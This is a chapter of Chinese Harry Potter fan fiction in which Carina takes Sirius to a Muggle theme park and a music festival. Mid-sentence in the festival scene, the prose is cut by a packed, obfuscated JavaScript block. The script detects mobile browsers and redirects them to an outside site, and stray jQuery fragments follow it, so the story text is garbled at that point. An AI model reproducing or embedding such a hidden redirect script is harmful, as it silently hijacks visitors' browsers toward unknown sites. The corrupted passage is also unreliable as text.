因为这个假期犯的事不大，西里斯在假期的最后一个月被放出自己的房间。但这对他来说和关禁闭并无很大的区别——毕竟沃尔布加并不喜欢他独自出门的主意。


    他唉声叹气地躺在卡莉娜的沙发上，任谁来看都知道他对现状极端不满。从某种意义上来说，这依旧是沃尔布加试图扼杀他天性的不懈尝试。


    卡莉娜今天原本没有出门的打算。


    她站在沙发前，抱着手臂思考了半晌。


    西里斯拿手在她面前晃晃，试图吸引她的注意。


    “走吗。”她冷不丁说。


    “去哪？”西里斯问。


    “不去哪。”卡莉娜回答道，“出去玩。”


    “走！”西里斯一跃而起，目光灼灼地看着她。


    她带着两把扫帚，领着西里斯，以去魔法部的理由出了家门。


    雷古勒斯在和一篇魔法史论文搏斗，忧郁地拒绝他们的邀请。


    “我今天必须把它写完。”雷古勒斯说，“我已经发誓要这么做。”


    西里斯向来在最后一个星期糊弄自己的作业，因此对此不置可否，快活地跳上自己的扫帚。


    “跟着我。”卡莉娜叮嘱他，“我们先去换一套衣服。”


    西里斯兴高采烈地说：“让沃尔布加的得体袍子们见鬼去吧。”


    “其实它们相当好看。”卡莉娜说。


    “我们可以保留自己的看法。”西里斯在呼呼的风声中喊道，“嘿，你看到底下的那个麻瓜玩意儿了吗——太酷了！”


    卡莉娜低头往马路上看去，一辆摩托风驰电掣般掠过路面。


    “确实。”她真心实意地说。


    他们俩落在坡景街27号的后门。


    “这就是你买下的房子？”西里斯饶有兴趣地说，把扫帚靠在门边。


    “是的。”卡莉娜说，“前段时间博蒙-多雷夫妇俩就住在这里——他们俩两周前才离开。怀特太太接下来几个月都要去阿尔卑斯山旅居，所以这里不会有人来打扰。”


    “怀特太太？”西里斯重复道。


    “隔壁的邻居。”卡莉娜说，“她非常擅长做各种曲奇饼干。”


    “虽然我想象过这一回事，”西里斯四下打量着，“但真的看到你的麻瓜房子，发现你有麻瓜朋友，还是让人大吃一惊……”


    “我想这是很自然的事。”卡莉娜把他拉到二楼的客卧，“你只是没有想到我对麻瓜这么了解——”


    “是啊，”西里斯打开衣柜，“你也没有选修麻瓜研究——”


    “了解一个群体的最好办法，”卡莉娜从里面抽出一件衬衫往西里斯身上比划，“就是和他们一块儿生活。”


    她对着衣柜里一排衣服挑挑拣拣，总是觉得不太满意。


    “让我自个儿穿。”西里斯把她往外一推，“换你的衣服，大小姐。”


    卡莉娜哭笑不得地给自己套上衬衫和休闲西裤，把扣子严谨地扣到最上面一颗。


    西里斯从衣柜里倒腾出一件色彩斑斓的蓝色衬衫，配一件白色束腿裤和棕色皮鞋。


    “领口开得太大。”卡莉娜笑着说。


    西里斯毫不在意地扯一扯领子：“我觉得挺好——我们要去麻瓜世界哪里？”


    “游乐场。”卡莉娜仔细看看路线图，“我们有希望在一个小时之后到达——它的过山车相当出名，你会喜欢的。”


    ————


    中午时分，卡莉娜和西里斯从游乐场门口出来。


    “还不错。”西里斯兴致勃勃地说，“就是不够快——比不上飞天扫帚……”


    “那是我们加速太快……”卡莉娜说，“但飞天扫帚不会让我们倒挂那么久……”


    “碰碰车是最好的！”西里斯宣布道，“我们以后再来——带着詹姆他们……”


    “其实我们今天本可以带上他们。”卡莉娜若有所思地说，“我没有告诉你坡景街连着飞路网吗？”


    他们俩面面相觑几秒钟。


    “下次可以去英国其他地区的主题公园。”卡莉娜说，“据说比伦敦市内的要大很多——”


    他们俩手里拿着冰激凌，西里斯一口把上面的尖咬掉。


    “棒极了。”西里斯说，“我要让莱姆斯看看麻瓜们的鬼屋……”


    卡莉娜觉得他心里绝对在转什么奇怪的念头。


    “今天下午海德公园有免费的音乐节。”卡莉娜翻了翻她在旁边报刊亭买的杂志，“要去看看吗？”


    “他们会演奏什么？”西里斯探头来看杂志上的字。


    “上面没提。”卡莉娜说，“不过把它作为一个惊喜也不错，不是吗？”


    ————


    阳光明媚的下午，舞台下的小摊贩们兜售漂亮的乐队徽章和扎染的T恤。草地上满是嬉皮士、学生、出游的一家人和乐迷们，他们举着各色饮料，大声交谈着。


    西里斯头上斜戴一顶摊贩上买的帽子，漫不经心地吃着汉堡。卡莉娜同样戴一顶帽子来遮阳，手里提着两瓶啤酒。


    这是一个搭建略有些粗糙的舞台——从卡莉娜的眼光来看。工作人员正在调试设备，音乐会马上就要开始。


    刹那间，几个穿着黑白T恤和牛仔裤，脚蹬靴子的年轻人蹦上舞台，不修边幅的头发在风里飞扬。


    “还好吗，伦敦？”主唱对着麦克风喊道。


    人群中发出欢呼声。


    “你认识他们吗？”西里斯问她。


    “一点也不。”卡莉娜回答道。她过去从没有听过摇滚，只是简单知道几个乐队的名字。


    吉他声撕裂宁静的空气，人群随着音乐声尽情摇摆、歌唱。


    西里斯没一会儿便融入氛围之中，甚至唱得相当不错。卡莉娜随着人群简单地摆手，有一搭没一搭地喝手里的啤酒。


    他们俩应该把詹姆他们带出来的——或者把雷古勒斯从房间里扯出来也行。


    新的乐队走上台，他们西装革履，像是刚刚从某个办公室里出来放纵的上班族。


    在旁边的人头


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16493169|185562||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    攒动当中，西里斯挥舞着手里的帽子欢呼着。


    卡莉娜听见风声和人声混合在一起，夏天在此刻似乎不会结束。


    ————


    晚上，西里斯兴奋地把买来的乐队徽章和海报放在坡景街的客卧里——卡莉娜说这间房归他。


    “衣柜里都是你和雷古勒斯能穿的衣服。”卡莉娜说，“希望你们俩别再长了。”


    “这是完全不可能的。”西里斯笑嘻嘻地说，“阿尔法德说他从霍格沃茨毕业以后才停止往上疯长……”


    “听起来很可怕。”卡莉娜回想着阿尔法德的身高，发觉这事确实没完。


    “我们明天还能出来玩吗？”西里斯推开格里莫广场12号的门前问。


    “下个星期。”卡莉娜疲惫地说，“我的精力已经完全耗尽……”


    “你能不眠不休地做三天学术研究……”西里斯谴责她。


    “却不能花费一天的时间和人群搏斗……”卡莉娜点头道，“下周我们去拜访其他人——游乐场和音乐节还是明年再议。”


    “嘿！”西里斯抗议道。


    “或者你可以和詹姆他们一块儿去。”卡莉娜出主意道，“而我就在旁边找一个咖啡厅坐着看看书……”


    “成交。”西里斯满意地说。


    “成交。”卡莉娜同样满意地说。


    西里斯当天晚上睡觉前都在唱歌。卡莉娜郁闷地把他推回他自个儿的房间，心里觉得他毕业之后可以组一个超级乐队——绝对会火爆整个巫师世界。


    “你们今天的行程听起来很开心。”雷古勒斯说。


    “我下午的时候非常想念你。”卡莉娜对他说，“让詹姆去和西里斯摇滚，而你来陪我受苦……”


    雷古勒斯的脸上露出灿烂的微笑。


    “不过有一样东西确实很酷。”卡莉娜琢磨着这桩事，“或许以太又有新工作可以干了……但说实在的，我们的车也不是用汽油跑起来的——完全只是借用车的外壳而已……”


    “什么东西？”雷古勒斯茫然地问。


    “没什么。”卡莉娜把他一样推出房间，“也许再过一段时间你就能看到……但也许还要过两三年——取决于我们对它到底有何种展望……”


    她回到书桌前，开始给吕西安写信。


    不知道为什么，想到可以骑着摩托在路上奔驰，她感到有些心动。


    一个奇妙的念头突然击中了她——她可以17岁以后直接向相关部门申请驾照考试。她曾经有骑摩托和开车的经验，这两者在几十年前应该也没有太大的变化吧？


    她抽出另一张羊皮纸，给瑟西写信。


    写下最后一行字的瞬间，就连她自己也忍不住感慨：原来她就要再一次十七岁了。


    她看向旁边的镜子，里面映出一张熟悉又陌生的脸——苍白而瘦削的脸庞上，镶嵌着一双透亮的灰色眼睛。一头黑色的长卷发披散在她肩头，有一半被得体地扎在后脑勺。


    第无数次，她感恩这一次的新生。